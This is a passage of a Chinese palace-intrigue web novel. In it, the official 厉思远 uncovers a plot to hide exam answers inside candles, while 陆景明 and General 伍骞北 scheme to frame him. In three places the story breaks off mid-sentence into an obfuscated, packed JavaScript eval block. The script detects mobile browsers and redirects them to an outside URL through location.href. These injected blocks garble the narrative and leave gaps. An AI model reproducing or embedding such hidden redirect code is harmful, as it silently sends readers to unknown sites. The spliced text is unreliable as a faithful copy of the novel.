厉思远原本有些阴沉的脸色缓和了许多,他施施然松开了抓着折扇的手,好整以暇站在原地,似乎还有些得意地看向花奴。 而相反花奴听出了敛烟话里面的其他意思。 敛烟还是想要留在京城。 他犹豫了一下,试探着又问道:“你……真的想好了?” 厉思远在,他知道不能说很清楚,但他还是忍不住想要再三确认。 敛烟郑重其事地点点头,道:“是的。” 花奴沉默了一下,心里有些遗憾,但伤心……却谈不上。 他是天下阁阁主,大风大浪见过太多,在遇到敛烟之前,他从未动过什么儿女情长的心思,所以这个结果,他也并不意外。 他低头笑了笑,又重新抬头摇起了折扇,恢复了往日那笑吟吟的样子。 他再一次,或许是最后一次地认认真真打量了一下眼前看着不太聪明,但却有些固执的少女。 “那……就烦请彦儿公子替我将红月的遗物送到,花某便不打扰了。” 说完,他摇着折扇,朝厉思远也点点头,翩然离开了。 雅间里只剩下厉思远和敛烟两个人。 敛烟这才后知后觉发现,厉思远应该是听到了什么,不然他也不会进门就发现包裹里面是红月的遗物。 这雅间虽不至于这么不隔音,但……厉思远是练武之人,耳力不可谓不好,也不知道他到底听到了多少? 敛烟有些紧张地捏了捏藏在袖子里母亲和弟弟的画像。 他不会……知道了自己真实身份吧? 她小心翼翼抬头去瞥厉思远的神色,却见他神色如常,伸手把包裹从她怀中拿出来:“走吧,回府。” 似乎……应该没有听到太多? 敛烟挠了挠下巴,忽然想到什么:“大人不是和好友有约?现在就走吗?” 厉思远离开的脚步一顿,敛烟明显感觉到他犹豫了一下,也不知道想了什么,没有转过头: “……他们已经走了。” “哦。”敛烟了然点头,跟了上去。 她不知道的是,在厉思远的马车驶离后,茶馆小二和自家掌柜的忍不住吐槽起来: “掌柜的,刚才那位大人好奇怪,一个人点了一杯茶在雅间坐着,也不点吃的,硬生生坐了半个时辰。” 茶馆掌柜拍了一下店小二的脑袋瓜: “行了,就你多嘴,还敢编排起厉思远大人了,快去忙你的!” 51. 礼物 马车上,敛烟看着旁边红月的遗物,她有些不确定刚才厉思远是不是真的要去给红月亲自送遗物。 一个歌姬,何至于他这样大费周章? 敛烟有一瞬间的后悔,她应该先答应花奴跟他一起走的,她心里其实着实有些担心母亲和弟弟,也不知道他们过得好不好。 至于说花奴对她的暗示,可以到时候再说。 想到这里,敛烟抬眸看向厉思远,他手里正拿着一卷书看。 “那个大人……”听见敛烟喊自己,厉思远微微抬眸看向她,就听见敛烟道:“您每天那么忙,还、还要参与组织科考,不如我过几日和花奴一起去给红月家人送她的东西吧?” “应该也用不上一月,就能回来,我……” “不行。”厉思远打断了她,直截了当拒绝了:“花奴是天下阁阁主,说到底也是个杀手组织,他仇人很多,你跟着他不安全。” “我知道你担心敛夫人和敛小公子,我今日收到消息本想告诉你,但是因为事情耽误了。” “我已经派人去把他们保护起来,你放心,他们不会受到任何伤害,只是京城危险,只能暂时让他们委屈一下。” 敛烟看了他一眼,原来厉思远也找到了母亲和弟弟。 他顿了顿,又道:“况且,去那红月所在的村子,会路过永昌山。” 永昌山。 是那位申太医失踪前最后被目击的地方。 厉思远看到敛烟恍然的神色,说道:“等到科考结束,我们一同去看能不能找到什么线索。” “到时候,我会亲自带你同去西北找到夫人和小公子。” 敛烟看着厉思远,他的眼眸中似乎有着化不开的悲伤。 她不知道的是,厉思远得到单听云和敛承允的消息后,又多番打听,却没有找到敛烟的消息。 就连单听云也亲口承认,敛烟死在了流放的路上。 厉思远即便再有心理准备,却还是忍不住心中酸涩的苦意。 马车骨碌碌朝前走去,车外忽然下起小雨,滴滴答答地打在车篷上,马车内一时间寂静无声。 过了一会儿,敛烟又开口问道:“大人,那空白书信还是没什么头绪?” 自从审讯王雨生找到证物以后,厉思远便一直在找人询问是否会有那种写上去却看不出来字迹的物品。 但得出的结论都是没有人见过这种东西。 而且厉思远也着人查看过了,那书信除了因为年月比较久而有一些氧化和折痕外,看不出上面有写字的迹象。 所以这条线索,算是断了。 厉思远摇摇头:“对不住,我已经遍寻了周围的办案人员,确实没有头绪。” 敛烟“哦”了一声,默默看向窗外掠过的景色。 厉思远见她闷闷不乐的模样,轻咳了一声,把手边的绿豆糕朝敛烟旁边挪了挪: “吃点吧,这家糕点还不错。” 敛烟不客气地伸手拿了一块,这段时间或许是由于她身份的原因,厉思远对她很是客气,两个人说话也都少有隔阂。 但敛烟其实还是有点不自在,特别是自从知道厉思远对她的心思后。 若是放在平时,一块绿豆糕她一口就能吞下去,但今天她却坐直了身子,小口小口咬起来。 放着绿豆糕的食盒下应当是有冰块,咬起来冰冰凉凉的,入口即化,让敛烟忍不住哇地一声两眼放光。 厉思远认认真真地朝敛烟说道:“我知道你对你们家小姐忠诚,我也一定会帮敛家找到真相,定不会让忠臣蒙冤而死。” “所以不要跟花奴去,跟我一起。” 敛烟瞧着厉思远认真的模样,尤其是在说最后一句话,就像是在吃醋。 虽然知道不可能,但她的心还是快要跳出来了。 敛烟连忙垂下头,小小声道:“是,苗儿替小姐谢过大人。” * 科考的日子越来越近了。 数以万计的考生涌入京城,从城东到城西,每一间客栈都住满了背着行囊、手持书卷的读书人,盛况空前。 这天下朝后,厉思远便径直去了吏部。 吏部尚书汪鸿福见厉思远来了,连忙恭恭敬敬地迎了上来。 厉思远问了一些科考的准备情况,他都一一作答。 这时,门外走进来一个小太监,朝汪鸿福行礼:“大人,科考用的蜡烛到了。” 厉思远正好想看看蜡烛的准备情况,两个人便一同去了存放蜡烛的仓库。 仓库很闷热,贺禹就靠在装着蜡烛的木箱旁边,大汗淋漓地喘气。 他此前握有陆景明贿赂考官的书信,一直用这件事来逼迫陆景明替自己和陆巧香牵线。 贺禹父母都是平民,平时靠着做点小本生意过活,所以他所求不多,只想着能攀上南陵侯府这样的家族就好了。 但可惜,陆巧香去了一趟临州就意外眼盲,而他手里的书信也被那考官知道,那考官直接打上门把书信给一把火烧了。 好在陆景明并不知道书信被烧毁,他趁着陆景明大婚的时候,他才去了虞园想要借机再多敲诈一把,然后就离开京城去其他地方潇洒。 结果真的是苍天有眼,竟然还叫他目睹了陆景明杀死许会的现场,让他又有了一个可以挟持陆景明的把柄。 陆巧香眼盲了,据说脾气也不大好,整日整日把自己关在家里面摔东西,自己可不会娶这样的一个人。 所以他就让陆景明给自己在宫里面找一个官职。 陆景明还真的答应了下来,正当贺禹满心期许着入宫做大官的时候,却发现陆景明竟然给他介绍去做了科举的转运使。 美其名曰转运使,实际上就是个管蜡烛的小官,甚至比杂役还要第一人一等。 而且这么热的天,让他亲自去做蜡烛的地方把这几十箱蜡烛运回来,可把他这个身子骨文弱的书生累个半死。 原来转运使的运字,竟真的是让自己去运东西! 陆景明也和他说过,若是这次差事办好了,以后会给他介绍更好的位置,但贺禹还是难免心里有怨言。 他正在仓库里面怨气冲天时,就听见外面传来了声音,听着好像是哪些大人。 他连忙站直在原地,就看到厉思远和汪鸿福推门走了进来。 贺禹虽然没有当过官,但这京城的权贵可都被他摸的清清楚楚,看到厉思远以后他立刻谄媚上前: “小人贺禹见过两位大人,小人是负责这次蜡烛转运的贺禹,这蜡烛是刚刚运过来的,您看,封条完好,绝对不会出一点岔子。” 进门连话都没说,贺禹就率先开始介绍自己,又介绍工作,一副显而易见的邀功姿态。 厉思远淡淡瞥了一眼他,这人似乎有些眼熟。 好像和陆景明走的很近。 厉思远厌恶陆景明,连带着也厌恶和他走的近的人,所以贺禹说完话他就没有接话,而是径直走到存放蜡烛的箱子前,仔细查看上面的封条。 汪鸿福见厉思远都没有说话,也感受到他莫名的低气压,十分有眼力见地朝贺禹摆摆手:“你先下去吧。” 贺禹没有和两位大人说上什么话,满心不情愿地退下去了。 厉思远查看完封条,又问了些数量和存放的问题,汪鸿福也都一一作答。 末了,厉思远又问:“这制作蜡烛的是宫外么?如果不是我们宫内自己的地方,那很容易被人钻了空子。” 汪鸿福笑着捋了捋胡须:“嗨呀,厉大人您就放心吧,每年的蜡烛都是由奉灯坊统一制作的,从未出现过什么问题。” “您若是不相信,可以自行去看看,那作坊的掌柜和我很熟的!” 厉思远又查看了一些其他准备工作,见天色尚早,便离宫去了那奉灯坊。 奉灯坊在京城东市附近,铺面很大,外面的装饰看起来也是用心打造过的,铺面是两层小阁楼,阁楼檐角挂着一排排形色各异的纸灯笼,有金色龙凤灯笼,也有小兔灯笼,做工十分精美,不愧是为皇室供货的店铺。 厉思远走到门口,就看到一个年轻男子坐在柜台里面,他身边摆满了未做完的灯笼骨架,还有一盒盒白蜡。 他正持着一卷书读的入迷,连门口进来人都没有发现。 厉思远打量了一下店面后,轻咳了一声:“你好?” 那人仿佛已经进入书本里面了,露出如痴如醉的表情,愣是没有听见厉思远说话。 厉思远把身子朝柜台倾了倾,正打算开口说话,却听见一个暴喝声: “荀子轩!你干什么呢!有客人没看到吗?” 那位看书的年轻人被吓了一跳,差点把书扔掉,一个中年男人这个时候从柜台后面的房间里走了出来,先是瞪了那名叫荀子轩的人一眼,随后迅速换上笑容热情地看向厉思远: “这位公子,您……是想要选购什么?我们铺子里啊灯笼、蜡烛、烛台这些都能做!” “七夕节也要到了,我们铺子特别制作的比翼鸟灯笼,送给心上人刚刚好!” 中年人叫荀永,他热情地介绍起来自家的铺子,他瞧着这位年轻公子器宇轩昂、气质不凡,一定是一个有钱的主顾。 七夕节? 厉思远想起来了,再过一段时间,就要七夕了。 他本想直接亮出身份,又犹豫了一下,脑海中莫名浮现了一个身影。 厉思远用食指在柜台上轻轻敲击,想了一下后道: “除了店面里挂着的这些,还有什么其他款式的灯笼?” 荀永一听,就知道生意来了,咧嘴笑着示意荀子轩从货架里面取出一摞压扁的纸灯笼,放在了厉思远面前,如数家珍: “这些是我们店里全部的款式,您要是看好了,我们这边可以替您把灯笼纸套在骨架上。” 厉思远翻看着各式的花样,有金鱼、小狗、樱花等等花样。 他拿起一盏兔儿灯细细查看,那兔儿做的活灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我今天来原也是找子轩兄出去吃酒的,他啊可仰慕你了,说你为民请命,不与世俗同流合污啥啥的,子轩兄他们好几个人都十分仰慕你,还说趁着这次科举大家都来京城一起聚一聚……哎——正巧!” 舒子野眼睛一亮,拍了拍荀子轩的肩,朝厉思远热情道: “择日不如撞日,不然我们今天就一起去吃酒吧?我在蜀味轩订了雅间,风景特别好!” 厉思远蹙了一下眉,他向来喜欢将事情安排的井井有条,对于这种突如其来的邀请甚是抗拒,再者说…… 他看了看低着头藏不住欣喜的荀子轩。 科举在即,他作为负责人和这些考生接触,容易惹人怀疑。 他刚想开口拒绝,舒子野又凑到他跟前,低声道: “先别急着拒绝,这次来京参加科考的里面有个人,是申太医的侄子,你不是跟我说想要打听这个事情么?我可是费了好大劲儿才和他们熟络起来的。” “你放心,兄弟我那个雅间很隐蔽,不会被人发现的。” 厉思远拒绝的话到了嘴边,听到这话后心念一动,转而道: “……好。” 荀子轩原本已经激动的眼睛中爆发出了更加夺目的光芒,自己竟然要和偶像吃饭?这简直像是在做梦! 这边荀子轩心中雀跃万分,那边厉思远向目瞪口呆的荀永打探起科考蜡烛的情况。 “听说你们一直供给科考用的蜡烛?” 荀永连忙毕恭毕敬道:“是的,小人不才,只会做一些烛火生意。” “你们制作蜡烛的时候是否有专人看管?这次有没有什么异常情况?” 荀永不敢怠慢,仔细回忆了一下应道:“回大人,制作蜡烛一直是由宫里面的礼官大人带兵看守,若是说异常情况……” 他皱了皱眉:“小人没觉得有什么异常,要说和以前不一样的,就是这次礼官换人了。” 厉思远眯起眼睛:“换人了?换成谁了?” 荀永挠了挠头:“好像姓陆?然后那位运蜡烛的管事也换了个人,叫什么贺禹?” 陆景明和贺禹。 厉思远皱了皱眉,陆景明是陛下指定的官职,这倒是不算什么新鲜事,但贺禹…… 他想起今天在殿中遇到贺禹的模样,心念一动。 回去要好好查一下这个贺禹了。 “公务办完没有厉大人?”身后响起舒子野阴阳怪气的语调:“快快快,我要饿死了!” 厉思远斜睨了他一眼,转身递给荀永一块银子:“烦请刚才拿出来的灯笼款式都帮我打包一份送到大理寺。” 荀永嘴都要咧到耳后根了:“哎!好咧!” 厉思远说完,转身大步迈出奉灯轩,荀子轩理了理衣服亦步亦趋跟上,独留舒子野在铺子里愣住。 半晌,舒子野反应过来了,七手八脚冲出门外,边跑边喊: “哎!你还说不是买七夕节礼物?给我说清楚!!” 52. 吃酒 蜀味轩,京城老字号,店如其名,是一个主打蜀菜的地方。 生意常年火爆的秘诀,不仅仅是因为它的做菜师傅手艺好,还有一个原因,是蜀味轩的装潢。 蜀味轩并不是以阁楼的形式在京城中心,反而是在京郊附近,没有大堂,只有雅间,而这些雅间是以矮屋的样式遍布在一个茂密的竹林中,而在这些矮屋中央,则是一片清澈的湖水。 坐在其间,听着鸟鸣阵阵,闻着竹林的清香,凭栏而饮,雅致非常。 所以蜀味轩的宾客基本上都是京城贵胄,雅间也是常年被预定的状态。 不过这些都难不倒我们舒小公子,虽然是个不受宠的世家公子,但好歹也是京城第一世家,蜀味轩的老板自然要给面子。 舒子野虽然不学无术,但是他却没有说假话,他订的那雅间确实隐秘,一路上都看不到其他客人。 厉思远虽然想要避嫌,但是舒子野也说了,那申太医的侄子他找了许久,而且家在岭南,家中弟妹众多,等到考完科考便要马不停蹄回家。 他担心若是今日见不到,便要错失良机。 他也曾打听过申实的妻儿,后来得知他的妻子在申实失踪后伤心过度,早早就去世了,而腹中的孩子就寄养在申实父母的家中。 所以,申正文是唯一一个申实尚且在世的亲人,或许知道一些内情。 沿着青竹小道往里走,很快便看到了一座低矮的房屋,房屋附近凿了一些流水道,潺潺流水声伴着鸟鸣声,让人心旷神怡。 推开门,里面坐着的四个人纷纷站起身,和舒子野、荀子轩都熟络地打起招呼,随后疑惑看向后面站着的厉思远。 舒子野清了清嗓子,颇有架势地介绍道:“这位,就是大名鼎鼎的大理寺卿,厉思远大人!” 四个人先是一愣,随后露出难以置信的神情,再次望过来的时候,眼中多了钦佩和仰慕。 “原来是厉思远大人,久仰久仰,鄙人叫申正文。” 其中一个国字脸,声如洪钟的男子率先开口,其他人也纷纷行礼做了自我介绍。 厉思远点点头,看向那位名叫申正文的男子。 想必他就是申太医的侄子了。 酒过三巡,几个读书人聚在一起,难免便会对高谈阔论一些自己的政见,厉思远则在一旁默默吃菜,并不搭腔。 直到几个人开始有些微醺,开始念起家里人的时候,厉思远才缓缓抬眸。 申正文此时已经有些上头,他倚在旁边的栏杆上,咧着嘴笑道: “我家里啊有两个妹妹一个弟弟,父母世代务农,咬着牙供我考科举,一家子都指望我了……” 他说着说着,想到自己在田间日夜劳作的父母,忍不住心中酸涩,眼泪就落了下来。 “只可惜,我本可以进京投奔我那叔叔,他、他却在前段时间……呜呜呜……” 屋里面的人几乎都喝醉了,大家东倒西歪躺了一地,根本没人听见他的喃喃自语。 除了依旧正襟危坐在桌前的厉思远。 他放下酒盏,问道:“你叔叔,可是太医院的申实?” 申正文惺忪的醉眼听见这话瞬间瞪圆,一把抓住厉思远的袖子: “正是!正是!大人你可认识他?” 厉思远点头:“你叔叔的失踪案我之前有所耳闻。” 说起申实的失踪,申正文忍不住泪如雨下,喃喃说起儿时叔叔和他们住在一个村子里的时候,经常带他下河捉鱼。 当了太医以后,知道他们家贫穷,还会寄一些碎银子做补贴。 厉思远听他絮絮叨叨回忆完以前的种种事情,又说道:“可惜他的失踪案始终没有头绪。” “我最近也在重新调查此案,若是有一些有力线索,想必会让这个案子有新的进展。” 厉思远抬眸,看向申正文:“你仔细回忆一下,能不能想到你叔叔为什么会不告而别?” 申正文忽然警惕地看了一眼其他倒在地上的人,凑到厉思远身边,压低声音道:“大人,你当真要重启我叔叔的案子?” “当年……敛大人也找过我,但、但他还没来得及和我说话,便……” 申正文声音越来越低沉,他看起来甚至有些畏惧。 厉思远看了一眼旁边东倒西歪的几个人,忽然站起身捂住嘴,一把抓住申正文的衣袖。 申正文慌忙扶住他,有些惊慌失措:“大、大人,你怎么了?” 其他人看了过来,厉思远摆摆手:“我有些不舒服……能否带我出去透透气?” 舒子野原本靠在软垫上快要睡着,他只喜欢奇事逸闻,对家国大事并不甚感兴趣,他看到厉思远忽然不舒服,垂死病中惊坐起从软垫上弹了起来。 “远哥!你没事吧!啊哟!” 舒子野没想到厉思远忽然推了他一把,又跌坐回了原地。 厉思远拽住申正文就往外走,边走边说:“正文兄,陪我出去透透气。” 申正文虽然醉着,但他却在这一瞬间福至心灵,立刻搀着厉思远往外走。 两个人走到僻静处,厉思远才站直身子,申正文连忙松开了手。 “大人刚才说,要重启调查我叔叔的案子,此话当真?” 申正文看着厉思远,再次确认。 虽然不知道他为什么这么说,但是厉思远点了点头。 申正文犹豫再三,终是开口:“我……的确觉得叔叔的失踪很是蹊跷。” “我婶婶带着刚出生的孩子来投奔我们的时候,就说叔叔在失踪前一直心神不宁,好像得罪了什么人一样。” “婶婶后来听府里的下人说,叔叔其实早在几天前就应收拾好了包裹,但当晚有两个官兵模样的人找到他,他便从后门跟着人离开了。” 厉思远心念一动,追问:“那两个官兵穿什么衣服?身上可有什么特征?” 申正文有些紧张地用手用力搅住衣袖:“那两个官兵身上是寻常盔甲,身上也没有什么特别的物件,但据我婶婶讲,那下人在黑夜里看的清楚,其中一个官兵佩剑上嵌着一颗只有西北才会的夜明珠。” “是伍家的黑铁军。”厉思远立刻猜到了这人的身份。 申正文点点头: “不瞒大人讲,这件事情我始终没有和任何人说,就是担心招来杀身之祸。” “我总觉得……我叔叔并非是真的失踪,而是……” 申正文用力抬起袖子,擦了擦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268755|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又要将落未落的眼泪: “原本科考在即,我不应该说些多余的话,但是,读圣贤书再多,若是救不了身边的人,也没有任何意义。” “我以前听闻过大人的事迹,对您钦佩有加,所以也愿意相信大人!” 厉思远点点头:“你愿意说出来,本官自然不会让你受伤害,你放心,不管真相如何,本官都会派人保护好你和你的家人。” 申正文看着眼前的厉思远,深红色的官袍和挺拔的身姿,让他禁不住肃然起敬。 他自第一次听说厉思远的事迹后,就被他深深折服,听说岭南百姓对他非常崇拜,在厉思远离开的时候相送十里,是实打实的好官。 又听闻他下江南,说是陪同皇子殿下们游玩,实则解决了丹阳郡太守等一众贪官污吏。 叔叔给家里来信的时候也时常提及这位厉大人,虽然性子冷淡,但办事周到仔细,对百姓更是无比关照,就连叔叔也对他十分钦佩。 所以申正文立志,以后若是能够有幸谋得官职,定要做这样的好官。 申正文忽然想起来什么,道:“大人,还有一件事,说起来是一件小事,但我总觉得似乎哪里不对。” 厉思远眉头微皱:“你说。” 申正文:“我们和舒小公子的相识很是奇怪,我和其他几位同仁是在路上相识,去京城里路远,想着结伴而行。” “到了京城以后,我们又认识了奉灯坊的荀子轩,他也对您十分崇拜,加之也是心怀报国理想,我们几个人聊得颇为投机。” “但前两天在京城的一个铺子吃饭的时候,荀子轩忽然大声喊出我的名字,可是他明明就坐在我旁边,而且也没有吃醉酒。” “当时着实吓了我一跳,不仅如此,荀子轩还忽然提到了我叔叔是申太医,自顾自说起了我们都很崇拜您。” “我们彼此之间已经颇为熟络,当时我并没有觉得有什么不对,就在他喊完以后,舒小公子就找上了我。” “他说他认识您,可以引荐,这才有了今日的宴请。” 厉思远听完他说的话以后,眉头已经紧紧簇起。 申正文的感觉没错,舒子野和他们的相遇真的是偶然,还是有人故意为之,而舒子野恰好被利用了? 让他和这几位赶考的书生见面的目的,是什么呢? 忽然,厉思远好像想到了什么,脸色瞬间难看起来。 先是送蜡烛的人换成了贺禹,再是奉灯坊的荀子轩故意引舒子野认识申正文。 科考的烛火,当真是有问题! 申正文以为自己说错了话,连忙闭紧了嘴,小心翼翼看向厉思远。 厉思远薄唇紧绷成了一条直线,他拍了拍申正文的肩膀: “你说的这些事情对本官很有帮助,本官现下还有些事情,就先回去了。” “今日的事情,你不要同他人提起。” 说完,厉思远大踏步朝外走去,却一改刚才阴沉的神色,嘴角带上了难以掩饰的微笑。 很好,看来有人终于坐不住了,开始对他下手了。 但,动作越大,破绽就越多。 他们开始动手的时候,就是重启调查敛府贪墨案最好的时机。 53. 风起 厉思远近来越发忙碌,几乎整夜整夜不睡觉。 敛烟有一次伺候他药浴的时候,就听见厉思远在里面睡着了,要不是她及时发现冲进去拉住了厉思远,他都要沉入水桶里了。 说到药浴,知道敛烟是女儿身以后,厉思远虽然不让她近身伺候,但依旧把她留在房间外等候。 既不让她打水,也不让她更衣,就让她坐着。 搞得敛烟也很是困惑,既然不需要自己,何必非要在外面坐着? 距离科考的时间越来越近,另一边陆景明也越发紧张起来。 他知道,这场科考将会发生一件大事,而这件事,会直接影响到他未来的仕途。 甚至是性命。 他已经连续几个晚上睡不着觉,今夜索性披衣起身,打算趁着月色出去透透气。 然而就在他走到府中前院的时候,忽然听得门外传来急促的叩门声。 陆景明猛地一愣,他心中竟然升起了一种不好的预感,他连忙屏气凝神,躲在了一旁的柱子边上,只露出一只眼睛观察。 旁边原本打盹儿的小厮被惊醒,不满地嘟囔了两句,走到大门口问道: “谁啊?大半夜的让不让人睡觉!” 却听见外面响起一个冷厉的声音: “禁卫军,奉圣上之命拿人!” 小厮原本醒了一半的瞌睡瞬间被吓没了,赫赫威名的禁卫军谁人不知,更何况是奉了圣上之命,他不敢怠慢,连忙打开了门闩。 金戈铁甲的禁卫军鱼贯而入,冲天的火把瞬间映亮半个南陵侯府。 南陵侯和侯夫人从屋内跌跌撞撞地被几个禁卫军带了出来,一脸惊恐,看到禁卫军统领的时候,南陵侯扑通一声跪在了地上: “大、大人,这是怎么回事儿啊?我、我从来都没做过什么坏事啊,陛、陛下是不是误会什么了?” 他就是个闲散侯爷,也没想过要去争什么,所以向来安分守己。 但是侯夫人,就不一样了。 侯夫人是个要脸面的,即便是这种场面,她也依然腰背挺直,看到南陵侯跪下的时候,眼中闪过一丝嫌弃。 只见她虽然未施粉黛,也没有来得及戴首饰,但发丝却梳的一丝不苟贴在耳后。 她先是冲着禁卫军统领端端正正福了福身后,问道: “大人,今夜可是有什么事情,需要来我们府中检查?您尽管说,我们南陵侯府上下定当尽力配合。” 侯夫人之所以这样淡然,就是她知道,侯爷的性子是做不出什么出格的事情的,而陆景明向来乖顺,也不会忤逆自己。 或许只是来例行调查罢了,侯夫人这样想着。 然而禁卫军统领一句话,打破了她所有的幻想: “既然你们愿意配合,那本官也不为难你们,请府上的陆大公子来,需要他跟我们走一趟。” 侯夫人尽力稳住的情绪瞬间出现了裂痕,她声音染上了慌张:“大、大人可知道是什么事?我们家景明是断不会惹恼陛下的,请、请大人明鉴!” 禁卫军统领眉毛一竖:“难道夫人是觉得,我们没有证据可以随便拿人?!” 此时南陵侯已经哭的鼻涕一把泪一把,话也说不全了,侯夫人见没有办法,只能扯过旁边吓得哆哆嗦嗦的小厮: “少爷呢?!快把他喊出来!” 小厮颤巍巍地道:“回、回老爷,少爷……不见了……” 南陵侯和侯夫人同时惊叫出声:“什么?!” 在空旷无人的漆黑街道上,有一个人影正跌跌撞撞一路跑过来,那人累的气喘吁吁,脚步却一刻都不敢停。 来人正是陆景明。 他一路从城西跑到城中,腰带都没有系,散着衣服和头发,狼狈不堪地停在了一个大宅院前。 宅院正上方悬挂着一块黑金色的牌匾,上书“将军府”。 陆景明上前重重叩响了门,他内心急切,一连叩了好几下门,最后甚至开始伸出手疯狂拍打,终于,那厚重的大门被敲开了一条缝。 一个老管事提着灯笼,阴沉着脸道: “陆大人,我们家老爷夫人已经休息,老爷说了,若是陆大人有其他事情,等明日再说。” 明日?明日哪里来得及? 陆景明死死盯着那老管事。 老管事都没有过问他的身份,直接开门甩出一句话。 伍骞北肯定知道自己出了什么事,现在又开始搪塞自己,利用完自己后又想撇清关系,天底下哪里有这样的好事?! 陆景明深吸一口气,大喊出声:“伍将军!若是今日不见,那陆某明日说些什么,可就不一定了!” 这一声伍将军是叫的中气十足,就连将军府的大狼狗都被吵醒了,汪汪汪叫个不停。 老管事登时被吓得变了脸色,老爷刚才特意交代了,不要让陆景明打扰他,陆景明已经是他的一个弃子了。 但此时此刻陆景明这一嗓子,分明就是在威胁啊! 老管事忙不迭想要关上大门,陆景明却用整个身子死死抵住大门,两个人一时间僵持不下。 就在这时,门内传来伍骞北冷冷的声音: “让他进来。” 老管事便打开了门,陆景明就像疯了一样冲了进来,扑通一声跪在地上,抓住伍骞北的衣襟,就像是抓住了救命稻草一样: “伍将军!求您帮帮我!我给您做了那么多,您不能……!” 声音哀嚎如杀猪,伍骞北被吵得头嗡嗡叫,要知道虽然这将军府是独门独户,但附近也不是没有人烟,这要是叫有心人听了去,自己也完了! 伍骞北不耐烦地打断了他: “你给我做过什么?不要胡搅蛮缠乱说话!” “本官原本对你十分看重,想要好好提拔你,没想到你竟然这样不争气,先是私德有亏,被陛下亲自降职。” “现在你又滥用职权,私自买通奉灯坊的掌柜,将蜡烛里面封上今年科考的试题答案,让我如何帮你?!” 陆景明难以置信地睁大眼睛,望向伍骞北那嫌恶的脸色。 “伍将军,你、你当初可不是这么说的啊?” “你们是想要陷害负责今年监考的厉思远,所以才让我找人封上的答案啊?你还答应我,事成以后想办法让我重新提拔啊?” “你、你不能就这样,什么事情都撇的干干净净啊?” 面对陆景明声嘶力竭的质问,伍骞北却依旧是一脸事不关己的模样: “你做错了事便做错了,如今却又来攀咬我,当初我真是错看你了!” 陆景明见伍骞北死咬着就是不承认,便知道他怕是要放弃自己了。 好在,他留了一手。 陆景明缓缓松开伍骞北的衣襟,站起身拂了拂袖子,就在伍骞北以为他要放弃的时候,就听见陆景明冷冷道: “大人,当年敛府的军饷贪墨案,你可还记得?” 伍骞北见他神色忽然变了样,心里一沉:“……你什么意思?” 陆景明冷笑道:“我们都是一条绳上的蚂蚱,就别装糊涂了。” “当年是将军你提议,让我将那几箱军饷趁敛府走水的时候运到他们后院的,而那些军饷,是依靠将军你的调令才拿到的。” “你让军队中的一个伍长负责指认那调令是被敛和安窃取的,承诺给他提级,但是在敛府被抄家后,你却要杀他灭口。” “你猜猜,最后是谁救了他?” 伍骞北脸色终于变了变,他的眸子里瞬间涌起杀意,声音也变得狠厉起来: “……你在威胁我?!” 陆景明:“我并非有意想要和将军作对,只是需要自保罢了,若是没有今天的事情,我也没有想要将这件事说出来。” “我已经替你做了这么多事,没有娶到伍熹微是我的原因,我毫无怨言。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我已经打探过了,禁卫军来找你并不是真的想要把你怎么样,现在也只是在调查中,你那个朋友贺禹也被抓起来了。” 伍骞北捋着胡须,沉声:“你且回去好生跟着禁卫军走……” “我不回去!”陆景明一听竟然要他回去,立刻失声喊了出来。 伍骞北见他那坐不住的浮躁模样,皱了皱眉:“让你跟着走,没说让你认罪,你急什么?” 陆景明刚站起身想驳斥伍骞北,听见他这么说,又坐下了:“……什么意思?” “你虽然是礼官分管烛火,但不代表这件事是你做的,任何接触烛火的人,都可以。” 伍骞北眯着眼睛,嘴角带着势在必得的微笑。 陆景明立刻想到了另一个能够接触烛火,同时也在宫中当值的人。 他试探着问道:“贺禹?” 伍骞北不置可否地捋了捋胡须,并不搭腔。 老狐狸…… 陆景明心中暗骂,但仔细一想,似乎除了他以外,负责从奉灯坊押运蜡烛的贺禹也是最有嫌疑的人之一。 当初伍骞北想要利用烛火藏试题的手段,治厉思远一个办事不力的罪名的时候,陆景明便第一时间想到了贺禹。 贺禹既然敢用许会的死来威胁他,那他自然要把他一起拉下水,贺禹手中有他的把柄,那他也要有贺禹的把柄。 但他万万没想到,原本天衣无缝的计划竟然还是百密一疏,竟然让厉思远发现了。 让贺禹顶罪自然再好不过了,但是…… 陆景明有些犹豫:“他不可能心甘情愿替我顶罪的,我手上并没有他的把柄,他自幼父母双亡,只有一个外祖母也在去年去世。” “他若是抵死不承认,我们拿他也没有办法。” 伍骞北却不慌不忙地笑道: “但若是你让他相信,被禁卫军发现也是计划中的一环,而最后你们要一起指认厉思远呢?” “只要让厉思远被陛下怀疑,我们再做掉那姓贺的来一个死无对证,那我们的目的不就达成了?” 54. 求助 昏暗无比的刑狱大牢里,弥漫着一股难以言状的恶臭。 贺禹缩在角落里,恨恨地盯着不远处的监牢。 陆景明就被关押在那个监牢里面。 贺禹大半夜被禁卫军从榻上拖起来,光着脚就被押到了大牢里,害怕得浑身发抖,等他反应过来,想办法给旁边的守卫递了银子,这才知道问题出在自己押送的那批蜡烛上。 然而那批蜡烛分明是陆景明让他押送的,他肯定早就已经知道了这件事! 陆景明就是想报复他! 可恶,竟然敢让自己替他背锅?真是打的一手好算盘! 正当贺禹心中盘算着等到审问的时候如何将陆景明的种种罪行供出来的时候,就看见走过来一个守卫,将其他守卫都叫走了。 